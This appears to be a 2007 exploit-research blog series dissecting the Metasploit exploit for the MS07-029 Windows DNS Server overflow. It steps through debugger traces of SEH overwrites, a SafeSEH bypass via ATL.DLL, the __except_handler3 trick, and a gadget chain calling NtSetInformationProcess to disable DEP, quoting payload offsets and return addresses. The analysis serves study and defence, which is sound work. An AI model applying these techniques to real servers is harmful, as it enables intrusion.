Software Vulnerability Exploitation Blog

Wednesday, August 15, 2007

MS07-029 Series: - Part 4: Exploiting the DNS Server holes on Windows 2003 Server SP1/SP2 - Bypass hardware-enforced DEP/NX in real world

After I described how to exploit MS07-029 vulnerability on Windows 2003 Server SP1/SP2, now I will post about it again but in the different technique. In this post I will describe how to bypass hardware-enforced DEP or NX on Windows 2003 Server SP1/SP2 instead of software DEP (SafeSEH issue). However, because I have no NX support machine, so something will be missed and It’s very helpful if you help me to correct things.

Now, before I go to the debugging process, I have to review some exploit code to see how it’s work. As other posts, I use msdns_zonename.rb from http://www.metasploit.com as the exploit code to research. This is the return address section of Windows 2003 Server SP1/SP2 target:

Windows 2003 Server SP1-SP2 English', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76a80000 }

Something has changed from the old one. The return address of Windows 2000 and 2003 SP0 are called Ret and Rets, however, the return address in this target is called IB (Image Base). What’s the image that start at the address 0x76a80000 ?

0:011> !lmi 76a80000
Loaded Module Info: [76a80000]
Module: ATL
Base Address: 76a80000
Image Name: C:\WINDOWS\System32\ATL.DLL
...


It’s the image base of ATL.DLL and start at 0x76a80000. Then I go to the code of Windows 2003 SP1/SP2 exploitation section

off = mytarget['Off']

ib = mytarget['IB']
txt[ off ] = [ib + 0x2566].pack('V')

First, it set the payload to 0x76a80000 + 0x2566 = 0x76a82566 at the 1633th byte of the payload:

0:011> u 0x76a82566
ATL!AtlModuleUpdateRegistryFromResourceD+0x19b:
76a82566 add ebp,5ACh
76a8256c leave
76a8256d ret 14h

At the address 0x76a82566 is the instruction that add some value to ebp, switch value between ebp/esp and pop value of esp to ebp, then jump to the address on esp. Then, when I lookup the rest of code, I decide to step into the debugging process because it ‘s quite difficult to understand what the exploit code does.

I run the exploit and the debugger give the same result on other target:

(1f4.6d0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00169f0e ebx=013a0000 ecx=00007a69 edx=013a0000 esi=00000003 edi=00169f0b
eip=01015462 esp=0139f6ac ebp=0139f6b0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

dns!extractQuotedChar+0x3b:
01015462 mov byte ptr [edx],cl ds:0023:013a0000=??

After this phase, the exception handler will be called to handle the exception:


ntdll!ExecuteHandler2+0x24:
7c828750 call ecx {ATL!AtlModuleUpdateRegistryFromResourceD+0x19b (76a82566}

0:012> bp 76a82566
0:012> p
Breakpoint 0 hit
ATL!AtlModuleUpdateRegistryFromResourceD+0x19b:
76a82566 add ebp,5ACh

Could you remember 0x76a82566 ? Yep, it is the fake return address in our payload that overwrite the SEH handler on the stack. It is also can bypass the SafeSEH protection (software DEP on Windows) because the ATL.DLL is complied with the older version of SafeSEH and the protection is broken. Then I continue the debugging process:

ATL!AtlModuleUpdateRegistryFromResourceD+0x1a1:
76a8256c leave

0:012> p
eax=00000000 ebx=00000000 ecx=76a82566 edx=7c828766 esi=00000000 edi=00000000
eip=76a8256d esp=0189f8b4 ebp=6f51626a iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212

ATL!AtlModuleUpdateRegistryFromResourceD+0x1a2:
76a8256d ret 14h

0:012> dd esp
0189f8b4 76a81da7 46356579 42387556 7a726759

The flow of execution will jump to 0x76a81da7. Where’s 0x76a81da7 come from ? It’s in the code line:

txt[ off + 4, 4 ] = [ib + 0x1da7].pack('V')

What does this return address do ? It’s pop the value from the stack and store at esi, then return.

0:012> u
ATL!ATL::CExpansionVector::CExpansionVector+0x1a:
76a81da7 pop esi
76a81da8 ret

0:012> p
eax=00000000 ebx=00000000 ecx=76a82566 edx=7c828766 esi=000000ed edi=00000000
eip=76a81da8 esp=0189f8d0 ebp=6f51626a iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212

ATL!ATL::CExpansionVector::CExpansionVector+0x1b:
76a81da8 ret

The value 0xed stored in esi come from the code in this line:

txt[ off + 28, 4] = [0xed].pack('V')

Then the process will jump to 0x76a81da4: which coded in line:

txt[ off + 32, 4] = [ib + 0x1da4].pack('V')

...
ATL!ATL::CExpansionVector::CExpansionVector+0x1b:
76a81da8 ret

0:012> dd esp
0189f8d0 76a81da4 7ffe0300 63685572 76a8109c

...
0:012> u
ATL!ATL::CExpansionVector::CExpansionVector+0x17:
76a81da4 pop ecx
76a81da5 mov eax,esi
76a81da7 pop esi
76a81da8 ret

The instructions at address 0x76a81da4 are the series of instruction that pop the value from the stack and then jmp to the address on the stack:

0:012> dd esp
0189f8d4 7ffe0300 63685572 76a8109c 7970574f

76a81da4 pop ecx
0:012> p
eax=00000000 ebx=00000000 ecx=7ffe0300 edx=7c828766 esi=000000ed edi=00000000
eip=76a81da5 esp=0189f8d8 ebp=6f51626a iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212

ATL!ATL::CExpansionVector::CExpansionVector+0x18:
76a81da5 mov eax,esi
0:012> p
Breakpoint 1 hit
eax=000000ed ebx=00000000 ecx=7ffe0300 edx=7c828766 esi=000000ed edi=00000000
eip=76a81da7 esp=0189f8d8 ebp=6f51626a iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212

ATL!ATL::CExpansionVector::CExpansionVector+0x1a:
76a81da7 5e pop esi
0:012> p
eax=000000ed ebx=00000000 ecx=7ffe0300 edx=7c828766 esi=63685572 edi=00000000
eip=76a81da8 esp=0189f8dc ebp=6f51626a iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212

ATL!ATL::CExpansionVector::CExpansionVector+0x1b:
76a81da8 ret

Now, eax is set to 0xed and ecx is set to 0x7ffe0300, then jump to 0x76a8109c:

eax=000000ed ebx=00000000 ecx=7ffe0300 edx=7c828766 esi=63685572 edi=00000000
eip=76a8109c esp=0189f8e0 ebp=6f51626a iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212

ATL!AtlComQIPtrAssign+0x23:
76a8109c call dword ptr [ecx] ds:0023:7ffe0300={ntdll!KiFastSystemCall (7c8285e8)}

The value 0x7ffe0300 is in the code line:

txt[ off + 36, 4] = [0x7ffe0300].pack('V')

and 0x76a8109c in the line:

txt[ off + 44, 4] = [ib + 0x109c].pack('V')

But… what is the address 0x7ffe0300 ? It’s look like the pointer to some location (0x7c8285e8). I’ve found the answer in this blog. The address 0x7ffe0300 is the offset + 0x300 from KUSER_SHARED_DATA structure and it’s something for system call issue:

0:007> dt ntdll!_KUSER_SHARED_DATA

+0x2f8 TestRetInstruction : Uint8B
+0x300 SystemCall : Uint4B
+0x304 SystemCallReturn : Uint4B

Now the flow of execution transfer to 0x7c8285e8ntdll!KiFastSystemCall:

0:012> u
ntdll!KiFastSystemCall:
7c8285e8 8bd4 mov edx,esp
7c8285ea 0f34 sysenter

After jump to 0x7c8285e8 – ntdll!KiFastSystemCall, the process will move value from esp to edx and run sysenter instruction. But wait… what is sysenter instruction -*- ? After I search through the google, I’ve found the interesting article Windows syscall shellcode. In summary, sysenter is the instruction that execute the “system call” of Microsoft Windows operating system – switch to ring 0 level – the kernel mode. The eax value is the system call number to be executed – in this case 0xed. What is the system call number 0xed ? It is NtSetInformationProcess (search at http://www.metasploit.com/users/opcode/syscalls.html).

The parameter of sysenter is passed to NtSetInformationProcess by edx. It points to the return address after execute the sysenter command and the array of argument that pass to the system call – NtSetInformationProcess in this case.

ntdll!KiFastSystemCall:
7c8285e8 8bd4 mov edx,esp

0:012> p
eax=000000ed ebx=00000000 ecx=7ffe0300 edx=0189f8dc esi=63685572 edi=00000000
eip=7c8285ea esp=0189f8dc ebp=6f51626a iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212

ntdll!KiFastSystemCall+0x2:
7c8285ea 0f34 sysenter

0:012> dd edx
0189f8dc 76a8109e 7970574f ffffffff 00000022
0189f8ec 7ffe0270 00000004 32395052 55434731

The value 0x76a8109e is the return address after execute sysenter instruction. The next 4 bytes are something that you can ignore. The next 16 bytes are the parameters passed to NtSetInformationProcess which in this line of code:

txt[ off + 52, 16] = [-1, 34, 0x7FFE0270, 4].pack('VVVV')

So the process will call NtSetInformationProcess like this:

NtSetInformationProcess(-1, 0x22, 7ffe0270, 4)

-1: process handler. Pass -1 means NtCurrentProcess
0x22: ProcessExecuteFlags
7ffe0270: Address of Execute Flags which should point to 0x2
4: size of Execute Flags

In paper from uninformed.org, calling NtSetInformationProcess with these parameters will disable hardware-enforced DEP or NX. Before continue, I have to understand the meaning of 0x22 and 0xffe0270.

What’s the value 0x22 for ProcessExecuteFlags parameter. The answer is in this google group

0:007> dt _KEXECUTE_OPTIONS
ntdll!_KEXECUTE_OPTIONS

+0x000 ExecuteDisable : Pos 0, 1 Bit
+0x000 ExecuteEnable : Pos 1, 1 Bit
+0x000 DisableThunkEmulation : Pos 2, 1 Bit
+0x000 Permanent : Pos 3, 1 Bit
+0x000 ExecuteDispatchEnable : Pos 4, 1 Bit
+0x000 ImageDispatchEnable : Pos 5, 1 Bit
+0x000 Spare : Pos 6, 2 Bits

The value 0x22 when represented in binary format will be 0x0010 0010. So the bits that enable are Pos 1 (ExecuteEnable) and Pos 5 (ImageDispatchEnable). So, calling NtSetInformationProcess will let the whole areas of the image are executable.

Then, turn to 0x7ffe0270. What’s it ? I know it’s the pointer to 0x2 value:

0:007> dd 7ffe0270
7ffe0270 00000002 01010000 00010000 00010001

And it’s the offset +0x270 from KUSER_SHARED_DATA

0:007> dt ntdll!_KUSER_SHARED_DATA

+0x26c NtMajorVersion : Uint4B
+0x270 NtMinorVersion : Uint4B
+0x274 ProcessorFeatures : [64] UChar

The address 0x7ffe0270 is a pointer to NtMinorVersion which is 0x2. The word “NtMinorVersion” lets me remember something. It’s a minor version number of Windows 2003 Server operating system (Windows 2003 Server version is 5.2). Then I verify my assumption by look at the value that 0x7ffe026cNtMajorVersion – point to.

0:007> dd 0x7ffe026c
7ffe026c 00000005 00000002 01010000 00010000

It points to 0x5 which is major version number of Windows 2003 Server operating system.

Now back to the analysis process. After the call of NtSetInformationProcess, the NX would be disabled and the flow of execution is transferred to 0x76a8109e – after the call dword ptr [ecx] instruction at 0x76a8109c

ATL!AtlComQIPtrAssign+0x25:
76a8109e test edi,edi

When back to 0x76a8109e, the process executes 2 -3 instructions and then crash again at 0x76a810a8 – ATL!AtlComQIPtrAssign+0x2f:

ATL!AtlComQIPtrAssign+0x2f:
76a810a8 mov eax,dword ptr [esi] ds:0023:6447504f=????????

And then our fake exception handler is called again:

ntdll!ExecuteHandler2+0x24:
7c828750 call ecx {ATL!AtlModuleUpdateRegistryFromResourceD+0x19b (76a82566)}

ATL!AtlModuleUpdateRegistryFromResourceD+0x19b:
76a82566 add ebp,5Ach

ATL!AtlModuleUpdateRegistryFromResourceD+0x1a1:
76a8256c leave

ATL!AtlModuleUpdateRegistryFromResourceD+0x1a2:
76a8256d ret 14h

0:007> dd esp
0139fae8 76a935bf 696e504a 77434a69 46555951

The value 0x76a935bf on the stack is in line:

txt[ off, 4 ] = [ib + 0x135bf].pack('V')

and its purpose is to execute the jmp esp instruction.

0:007> p
eax=00000000 ebx=00000000 ecx=76a82566 edx=7c828766 esi=00000000 edi=00000000
eip=76a935bf esp=0139fb00 ebp=4242666d iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216

ATL!__pfnDliNotifyHook2 (ATL+0x135bf):
76a935bf jmp esp {0139fb00}

0:007> dd esp
0139fb00 cccccccc 047f0566 43d43924 b2fc3b46

And then reach out shellcode :)

Finally, because of the post is very long, so I try to create a picture that demonstrates the flow of instructions and the purpose of them. It may be help you understand the concept of this exploit.


Photo Sharing and Video Hosting at Photobucket

Wednesday, July 04, 2007

MS07-029 Series - Part 3: Exploiting the DNS Server holes on Windows 2003 Server SP0 - __except_handler3 method

This is the third post in MS07-029 series and the second post about how to exploit this vulnerability in Windows 2003 Server environment. However, instead of discuss about Windows 2003 Server SP1/SP2 same as the last post, in this post I will describe about the exploitation technique in Windows 2003 Server SP0 - __except_handler3 method.

What's __except_handler3 ? It is the code that exception handler pointer in every EXCEPTION_REGISTRATION on the stack point to. It's always called when the exception handler is activated. I suggest you read this research to understand the concept how we can use __except_handler3 in the SEH exploitation.

Now, I will start the research by looking the metasploit code for Windows 2003 Server SP0 target in msdns_zonename.rb:

[ 'Windows 2003 Server SP0 English', { 'OS' => '2003SP0', 'Off' => 1593, 'Rets' => [0x77f45a34 , 0x77f7e7f0, 0x76a935bf] } ]

The first question about the code is that why there are 3 return addresses on the target. The address 0x77f45a34 is the address of __except_handler3 in Windows 2003 Server SP0.

The address 0x76a935bf is the address of "jmp esp" instruction in ATL.dll. For 0x77f7e7f0, I will describe it later because I think it would be clear how many important of this address if I use it in the real situation.

there is another code section that I have to try to understand:

# addr = A + B*12 + 4 = 0x77f7e7f0 (ntdll -> 0x77f443c9)

addr = mytarget['Rets'][1] - 4

addr1 = addr / 2

addr2 = addr1 + addr % 2

addr1 = addr1 + (addr2 % 12)

addr2 = addr2 / 12


txt[ off + 4, 8] = [addr1, addr2].pack('VV') # A,B


The function of this code is to find the value of A and B that make A + B * 12 + 4 = 0x77f7e7f0 - the second return address of this target. After this calculation the addr1/A is 0x3bfbf400 and addr2/B is 0x04ffa9a9. The address 0x77f7e7f0 stored the value 0x77f44ec9. I try disassemble 0x77f44ec9:

ntdll!memcpy+0x143:
77f443c9 ff249510e8f777 jmp dword ptr ntdll!memcpy+0x14c (77f7e810)[edx*4]

77f443d0 8b4508 mov eax,dword ptr [ebp+8]

77f443d3 5e pop esi

77f443d4 5f pop edi

77f443d5 c9 leave

77f443d6 c3 ret


Its function is do a little thing and then jump the the address that stored on the stack. Don't mind if you don't know the important of the address at this time. I will describe later about it.

Before I'm going to the debugging phase, I have to find out what's the equation A + B * 12 + 4 = 0x77f7e7f0. I decide disassemble __except_handler3:

ntdll!_except_handler3:
77f45a34 55 push ebp
77f45a35 8bec mov ebp,esp
77f45a37 83ec08 sub esp,8
...

0:006> u
ntdll!_except_handler3+0xb:

77f45a3f 8b5d0c mov ebx,dword ptr [ebp+0Ch]

...

0:006> u
ntdll!_except_handler3+0x2a:

77f45a5e 8943fc mov dword ptr [ebx-4],eax

77f45a61 8b730c
mov esi,dword ptr [ebx+0Ch]
77f45a64 8b7b08
mov edi,dword ptr [ebx+8]
...

0:006> u
ntdll!_except_handler3+0x41:
77f45a75 8d0c76 lea ecx,[esi+esi*2]
77f45a78 8b448f04 mov eax,dword ptr [edi+ecx*4+4]
77f45a7c 0bc0 or eax,eax
...

0:006> u
ntdll!_except_handler3+0x53:
77f45a87 33c9 xor ecx,ecx
77f45a89 33d2 xor edx,edx
...
77f45a8f ffd0 call eax
...

If you have already read EEYE paper, you will see that if we can control the value of eax, we will able to use the instruction "call eax" at the address 0x77f45a8f to jump to our payload or something like that. To control the eax, we have to control the value of edi + ecx*4 + 4 at the address 0x77f45a78. At this address the eax value is copied with the value stored in edi + ecx*4 + 4. Because we have to set eax to the value 0x77f44ec9 which stored at 0x77f7e7f0, so we get the equation:

edi + ecx * 4 + 4 = 0x77f7e7f0.

Now look at the address 0x77f45a75, the instruction lea ecx, [esi + esi * 2]. This instruction is equivalent to move the value esi * 3 to ecx. I replace ecx with esi * 3 in the equation:

edi + (esi * 3) * 4 + 4 = 0x77f7e7f0 --> edi + esi * 12 + 4 = 0x77f7e7f0

Do you remember the new equation ? Yes, it is A + B * 12 + 4 = 0x77f7e7f0 where edi = A and esi = B.

Now, I start the debugging phase. I set break point at 0x77f45a34 - __except_handler3 and run the exploit:

...
ntdll!_except_handler3+0xb:

77f45a3f 8b5d0c mov ebx,dword ptr [ebp+0Ch] ss:0023:0118f318=0118fd54


0:006> dd ebp + c

0118f318 0118fd54 0118f410 0118f3cc 0118fd54


...

0:006> dd 0118fd54

0118fd54 424216eb 77f45a34 3bfbf400 04ffa9a9

0118fd64 42424242 76a935bf fff9b0e9 424242ff

0118fd74 42424242 42424242 42424242 42424242f


The instruction at address 0x77f45a3f is the instruction that set ebx with the value pointed by ebp + 0xc. Now ebx is value 0x0118fd54 and point to our payload. The bold green highlighted value is the value of the first return address, 0x77f45a34 - __except_handler3. The bold brown highlighted value is the value of A and B that make A + B * 12 + 4 = 0x77f7e7f0 - the second return address. The bold orange value is the value of "jmp esp" in ATL.DLL.


ntdll!_except_handler3+0x2d:

77f45a61 8b730c mov esi,dword ptr [ebx+0Ch] ds:0023:0118fd60=04ffa9a9


0:006> dd ebx + C

0118fd60 04ffa9a9 42424242 76a935bf fff9b0e9

0118fd70 424242ff 42424242 42424242 42424242


...

eax=0118f304 ebx=0118fd54 ecx=77f45a34 edx=77f68ad0 esi=04ffa9a9 edi=00000000
eip=77f45a64 esp=0118f2f4 ebp=0118f30c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

The value of esi now is 0x04ffa9a9 - addr2 - at the instruction ntdll!__except_handler3 + 0x2d.

ntdll!_except_handler3+0x30:
77f45a64 8b7b08 mov edi,dword ptr [ebx+8] ds:0023:0118fd5c=3bfbf400

0:006> dd ebx + 8
0118fd5c 3bfbf400 04ffa9a9 42424242 76a935bf
0118fd6c fff9b0e9 424242ff 42424242 42424242

...
eax=0118f304 ebx=0118fd54 ecx=77f45a34 edx=77f68ad0 esi=04ffa9a9 edi=3bfbf400
eip=77f45a67 esp=0118f2f4 ebp=0118f30c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

Now edi is 0x3bfbf400 - the addr1.

ntdll!_except_handler3+0x44:
77f45a78 8b448f04 mov eax,dword ptr [edi+ecx*4+4] ds:0023:77f7e7f0=77f443c9

0:006> p
eax=77f443c9 ebx=0118fd54 ecx=0efefcfb edx=77f68ad0 esi=04ffa9a9 edi=3bfbf400
eip=77f45a7c esp=0118f2f4 ebp=0118f30c iopl=0 nv up ei pl nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000217

At ntdll!__except_handler3 + 0x44, eax is set to 0x77f443c9.

0:006> p
eax=77f443c9 ebx=00000000 ecx=00000000 edx=00000000 esi=00000000 edi=00000000
eip=77f45a8f esp=0118f2ec ebp=0118fd64 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

ntdll!_except_handler3+0x5b:
77f45a8f ffd0 call eax {ntdll!memcpy+0x143 (77f443c9)}

0:006> bp 77f443c9

0:006> p
Breakpoint 1 hit
eax=77f443c9 ebx=00000000 ecx=00000000 edx=00000000 esi=00000000 edi=00000000
eip=77f443c9 esp=0118f2e8 ebp=0118fd64 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

ntdll!memcpy+0x143:
77f443c9 ff249510e8f777 jmp dword ptr ntdll!memcpy+0x14c (77f7e810)[edx*4] ds:0023:77f7e810=77f443d0

...
0:006> p

eax=fff9b0e9 ebx=00000000 ecx=00000000 edx=00000000 esi=77f45a91 edi=0118f30c

eip=77f443d6 esp=0118fd68 ebp=42424242 iopl=0
nv up ei pl zr na pe nc
cs=001b
ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

ntdll!memcpy+0x162:
77f443d6 c3 ret

...
0:006> dd esp
0118fd68 76a935bf fff9b0e9 424242ff 42424242
0118fd78 42424242 42424242 42424242 42424242

The flow of execution reach at the address 0x77f443d6 - the ret instruction. This instruction is equivalent to jump to the value stored on the stack. So the flow of execution will transfer to 0x76a935bf - jmp esp on ATL.dll.

0:006> u 76a935bf
ATL!__pfnDliNotifyHook2 (ATL+0x135bf):
76a935bf ffe4 jmp esp

0:006> u esp
0118fd6c e9b0f9ffff jmp 0118f721
0118fd71 42 inc edx
0118fd72 42 inc edx
0118fd73 42 inc edx

0:006> u 0118f721
0118f721 cc int 3
0118f722 cc int 3

When jmp to esp, we will see the instruction jmp 0x0118f721 which jump to our shellcode :)

Sunday, July 01, 2007

MS07-029 Series - Part 2: Exploiting the DNS Server holes on Windows 2003 Server SP1/SP2 - SafeSEH issue

This is the second post on MS07-029 series. In this post, I describe the exploitation technique used in Windows 2003 Server SP1/SP2 environments. We have to face with /SafeSEH and hardware-enforced DEP, no /GS in this game because we overwrite the SEH – not the return address on the stack, but I talk about only SafeSEH in this post. For hardware-enforced DEP, I will describe later.

I start with writing 0x41414141 to the address of exception handler:

This exception may be expected and handled.
eax=001720b6 ebx=013a0000 ecx=00008042 edx=013a0000 esi=00000003 edi=001720b3
eip=01015389 esp=0139f6ac ebp=0139f6b0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
dns!extractQuotedChar+0x3b:
01015389 880a mov byte ptr [edx],cl ds:0023:013a0000=??

0:007> g
(768.7ec): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=41414141 edx=7c82eec6 esi=00000000 edi=00000000
eip=41414141 esp=0139f2e4 ebp=0139f304 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
41414141 ?? ???

0:007> dd esp
0139f2e4 7c82eeb2 0139f3c4 0139fd50 0139f3e0
0139f2f4 0139f3a0 0139fd50 7c82eec6 0139fd50

0:007> dd 0139fd50
0139fd50 424206eb 41414141 fff996e9 424242ff
0139fd60 42424242 42424242 42424242 42424242

Everything seems OK – just change 0x41414141 to the address of instruction pop/pop/ret, our shellcode will be executed. But when I change 0x41414141 to 0x71c0291d – pop/pop/ret on ws2_32.dll, our shellcode does not execute !!?

The answer of this question is that ws2_32.dll is complied with /SafeSEH option. I confirm this by use 0x76a81a60, pop/pop/ret in atl.dll

(6fc.d8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=00171675 ebx=013a0000 ecx=00008042 edx=013a0000 esi=00000003 edi=00171672

eip=01015389 esp=0139f6ac ebp=0139f6b0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

dns!extractQuotedChar+0x3b:
01015389 880a mov byte ptr [edx],cl ds:0023:013a0000=??

0:007> g
(6fc.d8): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=7c82eeb2 ecx=76a81a60 edx=7c82eec6 esi=00000000 edi=00000000
eip=0139f6f3 esp=0139f2f0 ebp=0139f3c4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

0139f6f3 cc int 3

The reason why atl.dll can be used in this exploit is that atl.dll is not compiled with /SafeSEH (information from metasploit exploit), so when we use the address in this dll, it will be passed on any check.

Now, I will investigate more detail how the address in atl.dll can pass the check while ws2_32.dll cannot. This is the path of execution of atl.dll

dns!extractQuotedChar+0x3b:
01015389 880a mov byte ptr [edx],cl ds:0023:013a0000=??

ntdll!KiUserExceptionDispatcher+0x4:
7c82ecbc 8b1c24 mov ebx,dword ptr [esp] ss:0023:0139f3bc=0139f3c4

ntdll!KiUserExceptionDispatcher+0x9:
7c82ecc1 e87653feff call ntdll!RtlDispatchException (7c81403c)

ntdll!RtlDispatchException+0x73:
7c8140ae e80bffffff call ntdll!RtlIsValidHandler (7c813fbe)
eax=0139f301

ntdll!RtlDispatchException+0x78:
7c8140b3 84c0 test al,al
eax=0139f301

ntdll!RtlDispatchException+0x7a:
7c8140b5 0f847e930500 je ntdll!RtlDispatchException+0x110 (7c86d439)

ntdll!RtlDispatchException+0x80:
7c8140bb ff7304 push dword ptr [ebx+4] ds:0023:0139fd54=76a81a60

ntdll!RtlDispatchException+0x8c:
7c8140c7 e885ad0100 call ntdll!RtlpExecuteHandlerForException (7c82ee51)
...
0139f6f3 cc int 3

And this is the path of ws2_32.dll

dns!extractQuotedChar+0x3b:
01015389 880a mov byte ptr [edx],cl ds:0023:013a0000=??

ntdll!KiUserExceptionDispatcher+0x4:
7c82ecbc 8b1c24 mov ebx,dword ptr [esp] ss:0023:0139f3bc=0139f3c4

ntdll!KiUserExceptionDispatcher+0x9:
7c82ecc1 e87653feff call ntdll!RtlDispatchException (7c81403c)

ntdll!RtlDispatchException+0x73:
7c8140ae e80bffffff call ntdll!RtlIsValidHandler (7c813fbe)
eax=00005000

ntdll!RtlDispatchException+0x78:
7c8140b3 84c0 test al,al
eax=00005000

ntdll!RtlDispatchException+0x7a:
7c8140b5 0f847e930500 je ntdll!RtlDispatchException+0x110 (7c86d439)


ntdll!RtlDispatchException+0x110:
7c86d439 834e0408 or dword ptr [esi+4],8 ds:0023:0139f3c8=00000000


dns!extractQuotedChar+0x3b:
01015389 880a mov byte ptr [edx],cl ds:0023:013a0000=??

The difference between 2 dlls is at the check after call ntdll!RtlIsvalidHandler. It checks the return value from ntdll!RtlIsValidHandler. The return value of atl.dll is 0x01, so it will not jump to ntdll!RtlDispatchException + 0x110 and finally execute ntdll!RtlpExecuteHandlerForException.

Now, I will investigate ntdll!RtlIsValidHandler. I want to find why atl.dll return 0x01 and ws2_32.dll return 0x00. This is the path for atl.dll:


ntdll!RtlIsValidHandler+0x1f:
7c813fdd e842150000
call ntdll!RtlLookupFunctionTable (7c815524)
eax=00000000


ntdll!RtlIsValidHandler+0x24:

7c813fe2 33db xor ebx,ebx

eax=00000000 ebx=0000000


ntdll!RtlIsValidHandler+0x26:

7c813fe4 3bc3 cmp eax,ebx

eax=00000000 ebx=00000000


ntdll!RtlIsValidHandler+0x2b:

7c813fe9 0f84222bffff je ntdll!RtlIsValidHandler+0x6f (7c806b11)


ntdll!RtlIsValidHandler+0x6f:

7c806b11 8d45e8 lea eax,[ebp-18h]

The return value of atl.dll from ntdll!RtlLookupFunctionTable is 0x00 and it will jump to ntdll!RtlIsValidHandler + 0x6f. The return value of ws2_32.dll is not 0x00:


ntdll!RtlIsValidHandler+0x1f:
7c813fdd e842150000 call ntdll!RtlLookupFunctionTable (7c815524)
eax=71c094e0

It is not jump to ntdll!RtlIsValidHandler + 0x6f and call ntdll!RtlInvalidHandlerDetected

ntdll!RtlIsValidHandler+0x2b:
7c813fe9 0f84222bffff je ntdll!RtlIsValidHandler+0x6f (7c806b11)


ntdll!RtlIsValidHandler+0x2d:

7c813fef 8b7df8 mov edi,dword ptr [ebp-8] ss:0023:0139f330=00000001


ntdll!RtlIsValidHandler+0xe2:

7c814108 e8e8910500 call ntdll!RtlInvalidHandlerDetected (7c86d2f5)

Now, I know more details about the difference between atl.dll and ws2_32.dll. The function ntdll!RtlIsValidHandler return true (0x01) for atl.dll and false (0x00) for ws2_32.dll. The key internal function in ntdll!RtlIsvalidHandler is ntdll!RtlLookupFunctionTable.

The function ntdll!RtlLookupFunctionTable return 0x00 for atl.dll and non-zero for ws2_32.dll. Now, I will look for the difference between atl.dll and ws2_32.dll in ntdll!RtlLookupFunctionTable. After take a lot of time, I found the interesting thing in ws2_32.dll:


ntdll!RtlLookupFunctionTable+0x8:
7c81552c 8365fc00 and dword ptr [ebp-4],0

ntdll!RtlLookupFunctionTable+0xc6:
7c81562e 8d45fc lea eax,[ebp-4]

0:007> dd ebp - 4
0139f2e0 00000000 0139f338 7c813fe2 71c0291d

ntdll!RtlLookupFunctionTable+0xc9:
7c815631 50 push eax

ntdll!RtlLookupFunctionTable+0xca:
7c815632 56 push esi

ntdll!RtlLookupFunctionTable+0xcb:
7c815633 e87cffffff call ntdll!RtlCaptureImageExceptionValues (7c8155b4)
0:007> p
ntdll!RtlLookupFunctionTable+0xd0:
7c815638 e956ffffff jmp ntdll!RtlLookupFunctionTable+0xd5 (7c815593)
0:007> dd ebp - 4
0139f2e0 71c094e0 0139f338 7c813fe2 71c0291d

ntdll!RtlLookupFunctionTable+0xed:
7c8155a6 8b45fc mov eax,dword ptr [ebp-4] ss:0023:0139f2e0=71c094e0

ntdll!RtlLookupFunctionTable+0xf3:
7c8155ac c20c00 ret 0Ch

After call ntdll!RtlCaptureImageExceptionValues, the value 0x00 stored at [ebp – 4] is changed. This condition occurs in the image that complied with /SafeSEH option such as ws2_32.dll. For atl.dll, this function is not change the value at [ebp – 4]:

ntdll!RtlLookupFunctionTable+0xed:
7c8155a6 8b45fc mov eax,dword ptr [ebp-4] ss:0023:0139f2e0=00000000

Saturday, June 23, 2007

MS07-029 Series - Part 1: Exploiting the DNS Server holes on Windows 2000 Server SP4

I start this exploitation research series is because of the varieties of technique. Especially in Windows Server 2003 platform, you will see the various technique used to bypass the protection . However, I will explain how to exploit this vulnerability on Windows 2000 Server SP4 in this post and describe Windows Server 2003 in next posts.

For the first example, I will use the exploit from metasploit, windows/dcerpc/msdns_zonename.rb. I change the following things of the exploit module:

  • Return address: from 0x75022ac4 to 0x41414141
  • The random alphanumeric buffer to 8192 bytes of “\x42”
  • The payload.encoded to series of “\x43”

(140.320): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0009adc5 ebx=00a60001 ecx=00005042 edx=00a60000 esi=00a5f89a edi=000a1039
eip=0101c68d esp=00a5f860 ebp=00a5f884 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246
dns!extractQuotedChar+0x38:
